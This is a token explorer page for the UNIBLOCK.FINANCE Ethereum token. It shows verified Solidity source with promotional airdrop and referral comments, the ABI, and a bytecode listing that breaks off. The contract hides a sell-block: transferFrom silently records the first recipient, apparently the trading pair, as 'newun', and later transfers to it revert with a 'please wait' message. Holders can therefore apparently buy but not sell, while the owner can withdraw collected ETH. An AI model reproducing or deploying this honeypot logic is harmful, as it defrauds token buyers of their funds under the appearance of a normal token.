ETH Price: $2,714.84 (+2.93%)

Token

UNIBLOCK.FINANCE (UNIBLOCK)
 

Overview

Max Total Supply

475 UNIBLOCK

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
YFI-New Finance: Deployer
Balance
21.976218949678202943 UNIBLOCK

Value
$0.00
0x0fc8b320c1723176b6ac24f77dbbcebdd502335f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UNIBLOCK_Token

Compiler Version
v0.5.12+commit.7709ece9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2020-11-12
*/

/**
 * UNIBLOCK. STRONG STAKING PROJECT! Yield Farming.
 * Supply : 475 UNIBLOCK
 * Max.Supply 2650 UNIBLOCK (only after 15 april 2021)
 * 
 * AIRDROP! 0.0005 UNIBLOCK FREE!
 * REFERRAL PROGRAM!
 * 
 * Official links:
 * Web-site: https://uniblock.finance
 * Telegram: https://t.me/uniblockfinance
*/
pragma solidity >=0.5.12;

library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract ERC20Interface {
  function totalSupply() public view returns (uint);
  
  function balanceOf(address tokenOwner) public view returns (uint balance);
  
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
  
  function transfer(address to, uint tokens) public returns (bool success);
  
  function approve(address spender, uint tokens) public returns (bool success);
  
  function transferFrom(address from, address to, uint tokens) public returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
  address public owner;
  
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() public {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

contract TokenERC20 is ERC20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  
  uint8 public decimals;
  uint _totalSupply;
  
  address public newun;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  constructor() public {
    symbol = "UNIBLOCK";
    name = "UNIBLOCK.FINANCE";
    decimals = 18;
    
    _totalSupply =  475000000000000000000;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transfernewun(address _newun) public onlyOwner {
    newun = _newun;
  }
  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
     require(to != newun, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait 15 min");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function () external payable {
    revert();
  }
}

contract UNIBLOCK_Token  is TokenERC20 {

  
  uint256 public aaSBlock; 
  uint256 public aeEBlock; 
  uint256 public aCap; 
  
  uint256 public aTot; 
  
  uint256 public aAmt; 
  
  uint256 public sSBlock; 
  
  uint256 public sEBlock; 
  
  uint256 public sTot; 
  uint256 public sCap; 

  uint256 public sChunk; 
  uint256 public sPrice; 

  function getAirdrop(address _refer) public returns (bool success){
    require(aaSBlock <= block.number && block.number <= aeEBlock);
    require(aTot < aCap || aCap == 0);
    aTot ++;
    
    if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
      balances[address(this)] = balances[address(this)].sub(aAmt / 4);
      balances[_refer] = balances[_refer].add(aAmt / 4);
      emit Transfer(address(this), _refer, aAmt / 4);
    }
    
    balances[address(this)] = balances[address(this)].sub(aAmt);
    balances[msg.sender] = balances[msg.sender].add(aAmt);
    emit Transfer(address(this), msg.sender, aAmt);
    return true;
  }

  function tokenSale(address _refer) public payable returns (bool success){
    require(sSBlock <= block.number && block.number <= sEBlock);
    require(sTot < sCap || sCap == 0);
    uint256 _eth = msg.value;
    uint256 _tkns;
    if(sChunk != 0) {
      uint256 _price = _eth / sPrice;
      _tkns = sChunk * _price;
    }
    else {
      _tkns = _eth / sPrice;
    }
    sTot ++;
    if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
      balances[address(this)] = balances[address(this)].sub(_tkns / 4);
      balances[_refer] = balances[_refer].add(_tkns / 4);
      emit Transfer(address(this), _refer, _tkns / 4);
    }
    balances[address(this)] = balances[address(this)].sub(_tkns);
    balances[msg.sender] = balances[msg.sender].add(_tkns);
    emit Transfer(address(this), msg.sender, _tkns);
    return true;
  }

  function viewAirdrop() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 DropCap, uint256 DropCount, uint256 DropAmount){
    return(aaSBlock, aeEBlock, aCap, aTot, aAmt);
  }
  function viewSale() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 SaleCap, uint256 SaleCount, uint256 ChunkSize, uint256 SalePrice){
    return(sSBlock, sEBlock, sCap, sTot, sChunk, sPrice);
  }
  
  function startAirdrop(uint256 _aaSBlock, uint256 _aeEBlock, uint256 _aAmt, uint256 _aCap) public onlyOwner() {
    aaSBlock = _aaSBlock;
    aeEBlock = _aeEBlock;
    aAmt = _aAmt;
    aCap = _aCap;
    aTot = 0;
  }
  function startSale(uint256 _sSBlock, uint256 _sEBlock, uint256 _sChunk, uint256 _sPrice, uint256 _sCap) public onlyOwner() {
    sSBlock = _sSBlock;
    sEBlock = _sEBlock;
    sChunk = _sChunk;
    sPrice =_sPrice;
    sCap = _sCap;
    sTot = 0;
  }
  function clearETH() public onlyOwner() {
    address payable _owner = msg.sender;
    _owner.transfer(address(this).balance);
  }
  function() external payable {

  }
}

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"aAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"aCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"aTot","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"aaSBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"aeEBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"clearETH","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_refer","type":"address"}],"name":"getAirdrop","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sChunk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sEBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sSBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sTot","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_aaSBlock","type":"uint256"},{"internalType":"uint256","name":"_aeEBlock","type":"uint256"},{"internalType":"uint256","name":"_aAmt","type":"uint256"},{"internalType":"uint256","name":"_aCap","type":"uint256"}],"name":"startAirdrop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_sSBlock","type":"uint256"},{"internalType":"uint256","name":"_sEBlock","type":"uint256"},{"internalType":"uint256","name":"_sChunk","type":"uint256"},{"internalType":"uint256","name":"_sPrice","type":"uint256"},{"internalType":"uint256","name":"_sCap","type":"uint256"}],"name":"startSale","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_refer","type":"address"}],"name":"tokenSale","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"viewAirdrop","outputs":[{"internalType":"uint256","name":"StartBlock","type":"uint256"},{"internalType":"uint256","name":"EndBlock","type":"uint256"},{"internalType":"uint256","name":"DropCap","type":"uint256"},{"internalType":"uint256","name":"DropCount","type":"uint256"},{"internalType":"uint256","name":"DropAmount","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"viewSale","outputs":[{"internalType":"uint256","name":"StartBlock","type":"uint256"},{"internalType":"uint256","name":"EndBlock","type":"uint256"},{"internalType":"uint256","name":"SaleCap","type":"uint256"},{"internalType":"uint256","name":"SaleCount","type":"uint256"},{"internalType":"uint256","name":"ChunkSize","type":"uint256"},{"internalType":"uint256","name":"SalePrice","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]

6080604052336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600881526020017f554e49424c4f434b000000000000000000000000000000000000000000000000815250600290805190602001906200009192919062000202565b506040518060400160405280601081526020017f554e49424c4f434b2e46494e414e43450000000000000000000000000000000081525060039080519060200190620000df92919062000202565b506012600460006101000a81548160ff021916908360ff1602179055506819bff2ff57968c0000600581905550600554600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040518082815260200191505060405180910390a3620002b1565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200024557805160ff191683800117855562000276565b8280016001018555821562000276579182015b828111156200027557825182559160200191906001019062000258565b5b50905062000285919062000289565b5090565b620002ae91905b80821115620002aa57600081600090555060010162000290565b5090565b90565b61277a80620002c16000396000f3fe6080604052600436106101f95760003560e01c80637d1702831161010d578063c465a3db116100a0578063d69b197f1161006f578063d69b197f14610b35578063dd62ed3e14610b7c578063f2fde38b14610c01578063f9d531f314610c52578063fc88471214610c7d576101f9565b8063c465a3db1461097e578063cae9ca51146109a9578063ced4138a14610ab3578063d4ee1d9014610ade576101f9565b806395d89b41116100dc57806395d89b41146108255780639d5f9dfb146108b5578063a9059cbb146108e0578063af5f65ee14610953576101f9565b80637d1702831461072757806381f4f399146107525780638da5cb5b146107a3578063933fe660146107fa576101f9565b8063448a262f11610190578063616eb6381161015f578063616eb638146105df5780636643ef9f146105f657806370a082311461065257806376f25a84146106b757806379ba509714610710576101f9565b8063448a262f146105105780634a7781d91461053b5780634d1d03d11461056657806354aeebe4146105b4576101f9565b80631dc4f9ea116101cc5780631dc4f9ea146103925780631ee59f20146103f557806323b872dd1461044c578063313ce567146104df576101f9565b8063069f5bdd146101fb57806306fdde0314610264578063095ea7b3146102f457806318160ddd14610367575b005b34801561020757600080fd5b5061024a6004803603602081101561021e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca8565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b506102796110cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b957808201518184015260208101905061029e565b50505050905090810190601f1680156102e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030057600080fd5b5061034d6004803603604081101561031757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611169565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c61125b565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103f3600480360360a08110156103b557600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506112b6565b005b34801561040157600080fd5b5061040a611341565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045857600080fd5b506104c56004803603606081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611367565b604051808215151515815260200191505060405180910390f35b3480156104eb57600080fd5b506104f46117ac565b604051808260ff1660ff16815260200191505060405180910390f35b34801561051c57600080fd5b506105256117bf565b6040518082815260200191505060405180910390f35b34801561054757600080fd5b506105506117c5565b6040518082815260200191505060405180910390f35b34801561057257600080fd5b5061057b6117cb565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b3480156105c057600080fd5b506105c96117fa565b6040518082815260200191505060405180910390f35b3480156105eb57600080fd5b506105f4611800565b005b6106386004803603602081101561060c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118bf565b604051808215151515815260200191505060405180910390f35b34801561065e57600080fd5b506106a16004803603602081101561067557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d14565b6040518082815260200191505060405180910390f35b3480156106c357600080fd5b5061070e600480360360808110156106da57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611d5d565b005b34801561071c57600080fd5b50610725611de0565b005b34801561073357600080fd5b5061073c611f7d565b6040518082815260200191505060405180910390f35b34801561075e57600080fd5b506107a16004803603602081101561077557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f83565b005b3480156107af57600080fd5b506107b8612020565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080657600080fd5b5061080f612045565b6040518082815260200191505060405180910390f35b34801561083157600080fd5b5061083a61204b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087a57808201518184015260208101905061085f565b50505050905090810190601f1680156108a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108c157600080fd5b506108ca6120e9565b6040518082815260200191505060405180910390f35b3480156108ec57600080fd5b506109396004803603604081101561090357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120ef565b604051808215151515815260200191505060405180910390f35b34801561095f57600080fd5b5061096861234e565b6040518082815260200191505060405180910390f35b34801561098a57600080fd5b50610993612354565b6040518082815260200191505060405180910390f35b3480156109b557600080fd5b50610a99600480360360608110156109cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610a1357600080fd5b820183602082011115610a2557600080fd5b80359060200191846001830284011164010000000083111715610a4757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061235a565b604051808215151515815260200191505060405180910390f35b348015610abf57600080fd5b50610ac861258d565b6040518082815260200191505060405180910390f35b348015610aea57600080fd5b50610af3612593565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b4157600080fd5b50610b4a6125b9565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b348015610b8857600080fd5b50610beb60048036036040811015610b9f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125e1565b6040518082815260200191505060405180910390f35b348015610c0d57600080fd5b50610c5060048036036020811015610c2457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612668565b005b348015610c5e57600080fd5b50610c67612705565b6040518082815260200191505060405180910390f35b348015610c8957600080fd5b50610c9261270b565b6040518082815260200191505060405180910390f35b60004360095411158015610cbe5750600a544311155b610cc757600080fd5b600b54600c541080610cdb57506000600b54145b610ce457600080fd5b600c600081548092919060010191905055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610d3b57506000610d3883611d14565b14155b8015610d745750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610f2d57610dd76004600d5481610d8857fe5b04600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e786004600d5481610e2957fe5b04600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272b90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600d5481610f1657fe5b046040518082815260200191505060405180910390a35b610f81600d54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611018600d54600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272b90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040518082815260200191505060405180910390a360019050919050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006112b1600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461271190919063ffffffff16565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461130f57600080fd5b84600e8190555083600f8190555082601281905550816013819055508060118190555060006010819055505050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113f35750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561143e5782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611503565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f706c656173652077616974203135206d696e000000000000000000000000000081525060200191505060405180910390fd5b5b61155582600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061162782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b600a5481565b60135481565b600080600080600080600e54600f54601154601054601254601354955095509550955095509550909192939495565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461185957600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156118bb573d6000803e3d6000fd5b5050565b600043600e54111580156118d55750600f544311155b6118de57600080fd5b60115460105410806118f257506000601154145b6118fb57600080fd5b600034905060008060125414611928576000601354838161191857fe5b0490508060125402915050611937565b601354828161193357fe5b0490505b6010600081548092919060010191905055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561198e5750600061198b85611d14565b14155b80156119c75750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b7a57611a28600482816119d957fe5b04600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac760048281611a7857fe5b04600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272b90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60048481611b6357fe5b046040518082815260200191505060405180910390a35b611bcc81600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c6181600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272b90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600192505050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611db657600080fd5b8360098190555082600a8190555081600d8190555080600b819055506000600c8190555050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e3a57600080fd5b60